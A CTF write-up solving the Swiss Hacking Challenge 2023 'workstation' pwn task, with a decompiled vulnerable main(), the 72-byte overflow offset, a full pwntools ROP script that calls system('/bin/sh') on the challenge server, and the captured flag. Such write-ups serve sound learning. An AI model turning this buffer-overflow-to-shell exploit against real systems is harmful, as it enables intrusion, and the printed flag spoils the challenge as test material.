Swiss Hacking Challenge 2023 - workstation

Posted on Apr 30, 2023

Information

Challenge category: pwn

Challenge Description

https://youtu.be/I5AunfmI8bs?t=1439 There’s actually one little thing— Just spit it out. I’m used to things going wrong. It looks like someone’s monitoring our transmission. Who? I don’t have a clue. All they’re doing is watching – it would creep me out less if they tried to interfere with our communications. Could it have something to do with that Cypher we saw? Maybe. I’ve switched the encryption protocol for our burst transmission for now. What I want to do is use a different method for sending those photos, just in case. Instead of using the Codec? Exactly. There’s a workstation in the southeast corner of the block where Metal Gear is housed. I’ve made arrangements so that you can send pictures from the machine.

Files

We are given a workstation.zip file. It contains the following binary:

workstation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=21ce5195b66b4f6eb3f36a64a909ddc4db5105b6, for GNU/Linux 3.2.0, not stripped
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

We can enter a string into the program that will just get printed, sadly nothing else will happen.

Exploitation

The decompilation shows the following:

ulong main(void)

{
    ulong s;
    
    sym.imp.setbuf(_reloc.stdout, 0);
    sym.imp.system("uname -a");
    sym.imp.system("date");
    sym.imp.printf("/bin/sh");
    sym.imp.putchar(10);
    sym.imp.printf("Command: ");
    sym.imp.fgets(&s, 0x80, _reloc.stdin);
    return 0;
}

Basically we can overflow s and execute arbitrary code.

Finding the offset

We can generate a lot of “A"s using python:

python3 -c "print('A'*64)"

We need to find the amount of characters after the RSP is overwriten (the program will segfault as it doesn’t know the next address to go to).

After 72 characters the program segfaults. That means we’ve found the sweet spot and can now move on to the rop part

ROP using pwntools

The following python script uses pwntools to call system() with /bin/sh as its arguments:

#!/usr/bin/python3
from pwn import * 
# doesn't work without it, pwn thinks it's 32bit
context.arch = "amd64"
e = ELF("./workstation")
p = remote("chall.m0unt41n.ch", 31337)
# build a rop chain
rop = ROP(e)
system_addr = 0x401195 # taken from objdump -d workstation -> call system@plt
rop.call(system_addr, [next(e.search(b"/bin/sh"))]) # call system() with /bin/sh
# padding + rop chain
payload = b"".join([b"A" * 72, rop.chain(),])
p.sendline(payload)
# get shell
p.interactive()

Flag

After running the script you get an interactive shell and can read the flag:

shc2023{r0p3d_y0ur_w4y_1nt0_th3_w0rkst4t10n}

Conclusion

This was my first time doing ROP and it was quite interesting. Somehow my GDB didn’t allow me to do breakpoints and I couldn’t get the specified system() address with pwntools. In the end everything somehow worked though.

References

  1. https://ctf101.org/binary-exploitation/return-oriented-programming/
  2. https://github.com/Gallopsled/pwntools-tutorial/blob/master/rop.md